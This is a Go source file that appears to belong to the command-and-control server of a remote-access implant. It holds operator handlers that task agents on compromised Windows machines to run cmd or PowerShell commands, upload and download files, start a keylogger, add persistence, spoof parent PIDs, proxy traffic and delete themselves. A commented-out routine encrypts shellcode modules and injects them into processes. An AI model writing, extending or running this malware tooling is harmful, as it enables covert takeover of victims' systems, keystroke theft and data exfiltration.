417 lines
12 KiB
Go
417 lines
12 KiB
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
)
|
|
|
|
// Examples of messages from agents:
|
|
// KindBear~HEARTBEAT
|
|
// KindBear~SYSINFO~Windows 10 Enterprise LTSC 2021 Evaluation (Version 21H2) Build 19044|x64|DESKTOP-5ITPNQS|Tester|0.0.0.0|C:\Users\Tester\Downloads\agent.exe|10136
|
|
// KindBear~KEYLOGGER~[Select C:\Users\BvSsh_VirtualUsers\Sigma\agent_3014679776.exe]
|
|
// KindBear~FILE
|
|
// KindBear~TASKRESULT~438818~406
|
|
|
|
// Example task messages from server:
|
|
// TASK~555953~inject~nx8Fk8krVYflY7sR~276
|
|
// TASK~555953~inject-remote~nx8Fk8krVYflY7sR~276~8868
|
|
// TASK~438818~spawn~nx8Fk8krVYflY7sR~276~C:\Windows\System32\notepad.exe~4704
|
|
// TASK-123456~sleep-5
|
|
// TASK~928573~upload~/home/user/file.txt~C:\Users\User\Downloads\file.txt
|
|
// TASK~928573~download~C:\Users\User\Downloads\file.txt
|
|
|
|
// Retrieve system information from a target
|
|
func SendSysInfo(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskType := "90" // getinfo
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
|
|
|
|
SendMessageToOperator(operatorID, "Tasked agent to get system info")
|
|
}
|
|
|
|
// Change agent's sleep time
|
|
func SleepAgent(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskArgs := cmdParts[2] // time in seconds
|
|
taskType := "10" // "sleep"
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested %s %s for agent: %s", operatorID, taskType, taskArgs, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
|
|
response := fmt.Sprintf("Tasked agent to change sleep time to %s seconds", taskArgs)
|
|
SendMessageToOperator(operatorID, response)
|
|
}
|
|
|
|
// Run a CMD or PS command on agent
|
|
func RunShell(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskType := cmdParts[1] // cmd or powershell
|
|
|
|
if taskType == "cmd" {
|
|
taskType = "20"
|
|
} else if taskType == "powershell" {
|
|
taskType = "30"
|
|
}
|
|
|
|
taskArgs := cmdParts[2] // command and args
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
|
|
SendMessageToOperator(operatorID, "Tasked agent to run shell command")
|
|
}
|
|
|
|
func HandleNavigation(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskType := cmdParts[1] // cd
|
|
taskArgs := cmdParts[2] // path
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested '%s' for agent: %s", operatorID, taskType, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
|
|
SendMessageToOperator(operatorID, "Tasked agent to change directory")
|
|
}
|
|
|
|
func ShowDirectory(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskType := cmdParts[1] //ls pwd
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested '%s' for agent: %s", operatorID, taskType, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
|
|
|
|
SendMessageToOperator(operatorID, "Tasked agent to list directories")
|
|
}
|
|
|
|
// Download file or folder from agent
|
|
func DownloadFile(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskArgs := cmdParts[2] // file path
|
|
taskType := "170" // download
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
SendMessageToOperator(operatorID, "Tasked agent to send file or folder")
|
|
}
|
|
|
|
// Upload file to agent
|
|
func UploadFile(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
localFilePath := cmdParts[2]
|
|
remoteFilePath := cmdParts[3]
|
|
taskType := "180" // upload
|
|
|
|
// Check if the local file exists before proceeding
|
|
if _, err := os.Stat(localFilePath); os.IsNotExist(err) {
|
|
logMessage := fmt.Sprintf("Local file not found: %s", localFilePath)
|
|
log.Print(logMessage)
|
|
SendMessageToOperator(operatorID, logMessage)
|
|
return
|
|
}
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested to upload %s to %s on agent: %s", operatorID, localFilePath, remoteFilePath, agentID)
|
|
log.Print(logMessage)
|
|
|
|
token := CreateDownloadToken(agentID, localFilePath, remoteFilePath)
|
|
taskArgs := fmt.Sprintf("%s~%s", token, remoteFilePath)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
log.Printf("TaskArgs: %q", taskArgs)
|
|
|
|
SendMessageToOperator(operatorID, "Tasked agent to receive file from server")
|
|
}
|
|
|
|
func GetProcesses(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskType := "140" // "ps"
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested process list from agent: %s", operatorID, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
|
|
|
|
SendMessageToOperator(operatorID, "Tasked agent to send process list")
|
|
}
|
|
|
|
// Find a module and send to task handler
|
|
// func Inject(operatorID string, cmdParts []string) {
|
|
// agentID := cmdParts[0] // agent id
|
|
// taskType := cmdParts[1] // inject-self, inject-remote, spawn
|
|
|
|
// if taskType == "inject-self" {
|
|
// taskType = "40"
|
|
// } else if taskType == "inject-remote" {
|
|
// taskType = "50"
|
|
// } else if taskType == "spawn" {
|
|
// taskType = "60"
|
|
// }
|
|
|
|
// moduleName := cmdParts[2] // popcalc.bin
|
|
// var taskArg1 string
|
|
|
|
// if len(cmdParts) > 3 {
|
|
// taskArg1 = cmdParts[3] // exe path for spawn, pid for inject-remote
|
|
// }
|
|
|
|
// log.Printf("Agent ID: %s", agentID)
|
|
// log.Printf("Task type: %s", taskType)
|
|
// log.Printf("Module name: %s", moduleName)
|
|
// log.Printf("Task arg1: %s", taskArg1)
|
|
|
|
// operatorConn, _ := GetOperatorConn(operatorID)
|
|
|
|
// if _, agentExists := agents.Load(agentID); !agentExists {
|
|
// msg := fmt.Sprintf("Agent %s not found", agentID)
|
|
// log.Print(msg)
|
|
// operatorConn.Write([]byte(msg))
|
|
// return
|
|
// }
|
|
|
|
// // // Initial response
|
|
// response := "Preparing shellcode"
|
|
// // operatorConn.Write([]byte(response))
|
|
|
|
// // Check if module is on the list
|
|
// module, exists := modules[moduleName]
|
|
// if !exists {
|
|
// response := fmt.Sprintf("Module %s is not on the list", moduleName)
|
|
// operatorConn.Write([]byte(response))
|
|
// return
|
|
// }
|
|
|
|
// // Find module on disk
|
|
// if _, err := os.Stat(module.Path); errors.Is(err, os.ErrNotExist) {
|
|
// logMessage := fmt.Sprintf("Error: Module %s not found in %s", module.Name, module.Path)
|
|
// log.Print(logMessage)
|
|
|
|
// response = fmt.Sprintf("Module %s not found in %s", module.Name, module.Path)
|
|
// operatorConn.Write([]byte(response))
|
|
// return
|
|
// }
|
|
|
|
// // Read module data into memory
|
|
// payload, err := os.ReadFile(module.Path)
|
|
// if err != nil {
|
|
// logMessage := fmt.Sprintf("Error reading module %s: %v", module.Name, err)
|
|
// log.Print(logMessage)
|
|
|
|
// response = fmt.Sprintf("Error reading module %s: %v", module.Path, err)
|
|
// operatorConn.Write([]byte(response))
|
|
// return
|
|
// }
|
|
// log.Printf("Successfully loaded module data for %s", module.Name)
|
|
|
|
// // Print plaintext
|
|
// // fmt.Println("Plain text payload:")
|
|
// // fmt.Println(hex.Dump(payload))
|
|
|
|
// key, _, _ := GenerateKeyAndIV()
|
|
|
|
// // Encrypt before sending
|
|
// // var iv = []byte("sWDv47xwoMkg5gJY")
|
|
// var encPayload []byte
|
|
// if encPayload, err = encryptAES128CTR(payload, []byte(key), []byte(key)); err != nil {
|
|
// log.Printf("Error ecnrypting: %v", err)
|
|
// return
|
|
// }
|
|
// // Print ciphertest
|
|
// // fmt.Println("Encrypted payload:")
|
|
// // fmt.Println(hex.Dump(encPayload))
|
|
|
|
// // Get payload size and convert to int
|
|
// payloadSize := fmt.Sprintf("%d", len(encPayload))
|
|
|
|
// // Prepare arguments
|
|
// taskArgs := key + "~" + payloadSize + "~" + taskArg1
|
|
|
|
// // Add ppid arguments if provided with spawn command
|
|
// if len(cmdParts) > 4 {
|
|
// taskArg2 := cmdParts[4]
|
|
// taskArgs += "~" + taskArg2
|
|
// log.Printf("Task arg2: %s", taskArg2)
|
|
// }
|
|
|
|
// // Add task to queue
|
|
// taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, encPayload)
|
|
|
|
// response = fmt.Sprintf("Tasked agent to run '%s' module", module.Path)
|
|
// operatorConn.Write([]byte(response))
|
|
// }
|
|
|
|
func SetPPID(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskArgs := cmdParts[2] // ppid
|
|
taskType := "65" //set-ppid
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested to set PPID for agent: %s", operatorID, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
|
|
SendMessageToOperator(operatorID, "Tasked agent to update ppid")
|
|
}
|
|
|
|
// Start or stop keylogger on target
|
|
func Keylogger(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskArgs := cmdParts[2] // "start" or "stop"
|
|
|
|
taskType := "150" // "keylogger"
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested to %s keylogger on agent: %s", operatorID, taskArgs, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
|
|
response := fmt.Sprintf("Tasked agent to %s keylogger", taskArgs)
|
|
SendMessageToOperator(operatorID, response)
|
|
}
|
|
|
|
// Add or remove persistence via local appdata
|
|
func Persistence(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskArgs := cmdParts[2] // "add" or "remove"
|
|
|
|
taskType := "160" // "persistence"
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
|
|
response := fmt.Sprintf("Tasking agent to %s persistence", taskArgs)
|
|
SendMessageToOperator(operatorID, response)
|
|
}
|
|
|
|
// Start or stop proxy server on agent
|
|
func Proxy(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
taskArgs := cmdParts[2] // "start | stop"
|
|
|
|
taskType := "200" // "proxy"
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
if taskArgs == "start" {
|
|
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType+" "+taskArgs, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
|
|
response := fmt.Sprintf("Tasked agent to %s", taskArgs+" "+taskType)
|
|
SendMessageToOperator(operatorID, response)
|
|
|
|
logMessage = "Starting local bridge server"
|
|
SendMessageToOperator(operatorID, logMessage)
|
|
|
|
go StartRelayServer()
|
|
|
|
} else if taskArgs == "stop" {
|
|
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType+" "+taskArgs, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
|
|
|
|
response := fmt.Sprintf("Tasked agent to %s", taskArgs+" "+taskType)
|
|
SendMessageToOperator(operatorID, response)
|
|
|
|
logMessage = "Stopping local bridge server"
|
|
SendMessageToOperator(operatorID, logMessage)
|
|
|
|
StopRelayServer()
|
|
}
|
|
}
|
|
|
|
// Task agent to exit
|
|
func Kill(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
|
|
taskType := "210" // kill
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
|
|
|
|
SendMessageToOperator(operatorID, "Tasked agent to exit")
|
|
|
|
}
|
|
|
|
// Clean up and self delete
|
|
func Cleanup(operatorID string, cmdParts []string) {
|
|
agentID := cmdParts[0]
|
|
|
|
taskType := "220" // "cleanup"
|
|
|
|
if !ValidateAgent(agentID, operatorID) {
|
|
return
|
|
}
|
|
|
|
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
|
|
log.Print(logMessage)
|
|
|
|
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
|
|
|
|
SendMessageToOperator(operatorID, "Tasking agent to clean up and self delete")
|
|
}
|